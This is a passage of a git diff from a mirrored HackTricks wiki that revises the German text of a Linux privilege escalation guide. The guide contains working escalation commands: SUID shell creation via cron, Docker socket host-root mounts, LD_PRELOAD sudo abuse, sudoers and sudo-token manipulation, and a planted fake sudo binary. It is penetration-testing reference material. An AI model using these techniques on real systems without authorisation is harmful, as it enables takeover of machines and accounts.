mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
parent
3d0afe1881
commit
1ab2b42aa7
@ -96,6 +96,7 @@
|
||||
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Linux Privilegieneskalation
|
||||
# Linux Privilege Escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Systeminformationen
|
||||
## System Information
|
||||
|
||||
### OS-Info
|
||||
### OS info
|
||||
|
||||
Lass uns beginnen, einige Kenntnisse über das laufende Betriebssystem zu gewinnen.
|
||||
```bash
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die ausgeführt werden, da Sie diese möglicherweise missbrauchen können, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
|
||||
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die laufen, Sie könnten dies ausnutzen, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
|
||||
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemanden überschreiben.
|
||||
|
||||
### Prozessüberwachung
|
||||
@ -186,9 +186,9 @@ Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Pro
|
||||
>
|
||||
> Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art und Weise, wie ptracing funktionierte.
|
||||
> - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art, wie ptracing funktionierte.
|
||||
> - **kernel.yama.ptrace_scope = 1**: Nur ein übergeordneter Prozess kann debuggt werden.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE-Berechtigung erfordert.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE-Fähigkeit erfordert.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es festgelegt ist.
|
||||
|
||||
#### GDB
|
||||
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump für Linux
|
||||
|
||||
ProcDump ist eine Linux-Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite von Tools für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDump ist eine Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite von Tools für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Geplante/Cron-Jobs
|
||||
|
||||
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Können Dateien ändern, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
|
||||
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Können Dateien geändert werden, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron mit einem Skript mit einem Platzhalter (Wildcard Injection)
|
||||
|
||||
Wenn ein Skript, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge zu verursachen (wie privesc). Beispiel:
|
||||
Wenn ein Skript, das von root ausgeführt wird, ein „**\***“ innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge zu verursachen (wie privesc). Beispiel:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### Unsichtbare Cron-Jobs
|
||||
|
||||
Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar einzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
|
||||
Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
@ -389,7 +389,7 @@ Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für Binärdateien habe
|
||||
|
||||
### systemd PATH - Relative Pfade
|
||||
|
||||
Sie können den von **systemd** verwendeten PATH mit:
|
||||
Sie können den von **systemd** verwendeten PATH mitsehen:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
@ -430,7 +430,7 @@ Daher müssten Sie, um diese Berechtigung auszunutzen:
|
||||
|
||||
### **Timer aktivieren**
|
||||
|
||||
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen ausführen:
|
||||
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen Folgendes ausführen:
|
||||
```bash
|
||||
sudo systemctl enable backu2.timer
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||||
@ -439,14 +439,14 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
|
||||
|
||||
## Sockets
|
||||
|
||||
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
|
||||
Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Beschreibungsdateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
|
||||
|
||||
Sockets können mit `.socket`-Dateien konfiguriert werden.
|
||||
|
||||
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
|
||||
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
|
||||
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch**. Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
|
||||
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
|
||||
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
|
||||
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
|
||||
@ -500,9 +500,9 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
||||
```
|
||||
Diese Befehle ermöglichen es Ihnen, einen Container mit Root-Zugriff auf das Dateisystem des Hosts auszuführen.
|
||||
|
||||
#### **Direkte Verwendung der Docker API**
|
||||
#### **Direkte Verwendung der Docker-API**
|
||||
|
||||
In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden.
|
||||
In Fällen, in denen die Docker-CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker-API und `curl`-Befehle manipuliert werden.
|
||||
|
||||
1. **Docker-Images auflisten:** Holen Sie sich die Liste der verfügbaren Images.
|
||||
|
||||
@ -510,7 +510,7 @@ In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
|
||||
2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Host-Systems einbindet.
|
||||
2. **Einen Container erstellen:** Senden Sie eine Anfrage zur Erstellung eines Containers, der das Root-Verzeichnis des Host-Systems einbindet.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
@ -536,7 +536,7 @@ Nachdem Sie die `socat`-Verbindung eingerichtet haben, können Sie Befehle direk
|
||||
|
||||
### Sonstiges
|
||||
|
||||
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in:
|
||||
|
||||
@ -564,7 +564,7 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
|
||||
|
||||
Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
|
||||
Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
|
||||
|
||||
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
|
||||
|
||||
@ -629,7 +629,7 @@ timeout 1 tcpdump
|
||||
|
||||
### Generische Aufzählung
|
||||
|
||||
Überprüfen Sie **wer** Sie sind, welche **Befugnisse** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Rechte** haben:
|
||||
Überprüfen Sie **wer** Sie sind, welche **Berechtigungen** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Berechtigungen** haben:
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -698,7 +698,7 @@ Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** schreiben können,
|
||||
|
||||
### SUDO und SUID
|
||||
|
||||
Es könnte Ihnen erlaubt sein, einige Befehle mit sudo auszuführen oder sie könnten das SUID-Bit haben. Überprüfen Sie dies mit:
|
||||
Es könnte Ihnen erlaubt sein, einen bestimmten Befehl mit sudo auszuführen, oder sie könnten das SUID-Bit haben. Überprüfen Sie dies mit:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -732,7 +732,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wurde:
|
||||
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wird:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -787,7 +787,7 @@ Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese
|
||||
- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
|
||||
- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
|
||||
|
||||
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
|
||||
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -809,12 +809,12 @@ Dann **kompiliere es** mit:
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Schließlich, **Privilegien eskalieren** durch Ausführen
|
||||
Schließlich, **Privilegien erhöhen** durch Ausführen
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ein ähnlicher Privilegienausstieg kann missbraucht werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
|
||||
> Ein ähnlicher Privilegienausstieg kann missbraucht werden, wenn der Angreifer die **LD_LIBRARY_PATH** Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -939,7 +939,7 @@ sudo su
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern die Verwendung von sudo erlaubt**.
|
||||
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern die Verwendung von sudo erlaubt**
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
@ -954,7 +954,7 @@ Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben k
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur von Benutzer root und Gruppe root gelesen werden**.\
|
||||
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie **eine Datei schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
|
||||
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie **irgendeine Datei schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -979,11 +979,11 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Benutzerkontext erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
|
||||
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
|
||||
|
||||
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
|
||||
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
Oder etwas wie ausführen:
|
||||
Oder etwas wie:
|
||||
```bash
|
||||
cat >/tmp/sudo <<EOF
|
||||
#!/bin/bash
|
||||
@ -1006,7 +1006,7 @@ Die Datei `/etc/ld.so.conf` gibt **an, woher die geladenen Konfigurationsdateien
|
||||
|
||||
Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen **Bibliotheken** **gesucht** werden. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken im Verzeichnis `/usr/local/lib` suchen wird**.
|
||||
|
||||
Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, jede Datei innerhalb von `/etc/ld.so.conf.d/` oder jeden Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
|
||||
Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
|
||||
Schau dir an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
@ -1048,7 +1048,7 @@ execve(file,argv,0);
|
||||
```
|
||||
## Fähigkeiten
|
||||
|
||||
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird das gesamte Set von Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
|
||||
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
|
||||
Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1058,11 +1058,11 @@ linux-capabilities.md
|
||||
## Verzeichnisberechtigungen
|
||||
|
||||
In einem Verzeichnis impliziert das **Bit für "ausführen"**, dass der betroffene Benutzer in den Ordner "**cd**" wechseln kann.\
|
||||
Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** **auflisten** kann, und das **"schreiben"**-Bit impliziert, dass der Benutzer **löschen** und **neue Dateien** **erstellen** kann.
|
||||
Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** auflisten kann, und das **"schreiben"**-Bit impliziert, dass der Benutzer **löschen** und **neue Dateien** **erstellen** kann.
|
||||
|
||||
## ACLs
|
||||
|
||||
Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine genauere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Geben** Sie dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei:
|
||||
```bash
|
||||
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Offene Shell-Sitzungen
|
||||
|
||||
In **alten Versionen** können Sie **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\
|
||||
In **neueren Versionen** können Sie nur zu Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
|
||||
In **neueren Versionen** können Sie sich nur mit Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
|
||||
|
||||
### Übernahme von Screen-Sitzungen
|
||||
|
||||
@ -1138,7 +1138,7 @@ Gibt an, ob root sich über SSH anmelden kann, der Standardwert ist `no`. Mögli
|
||||
|
||||
- `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden
|
||||
- `without-password` oder `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden
|
||||
- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden, wenn die Befehlsoptionen angegeben sind
|
||||
- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden und wenn die Befehlsoptionen angegeben sind
|
||||
- `no` : nein
|
||||
|
||||
### AuthorizedKeysFile
|
||||
@ -1297,7 +1297,7 @@ Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Prot
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) wirklich hilfreich sein.
|
||||
Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich sein.
|
||||
|
||||
### Shell-Dateien
|
||||
```bash
|
||||
@ -1319,7 +1319,7 @@ Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessie
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
